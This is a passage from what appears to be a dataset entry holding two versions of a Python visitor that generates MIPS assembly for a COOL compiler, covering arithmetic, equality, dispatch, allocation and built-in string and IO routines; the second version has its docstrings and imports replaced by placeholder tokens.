_eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b 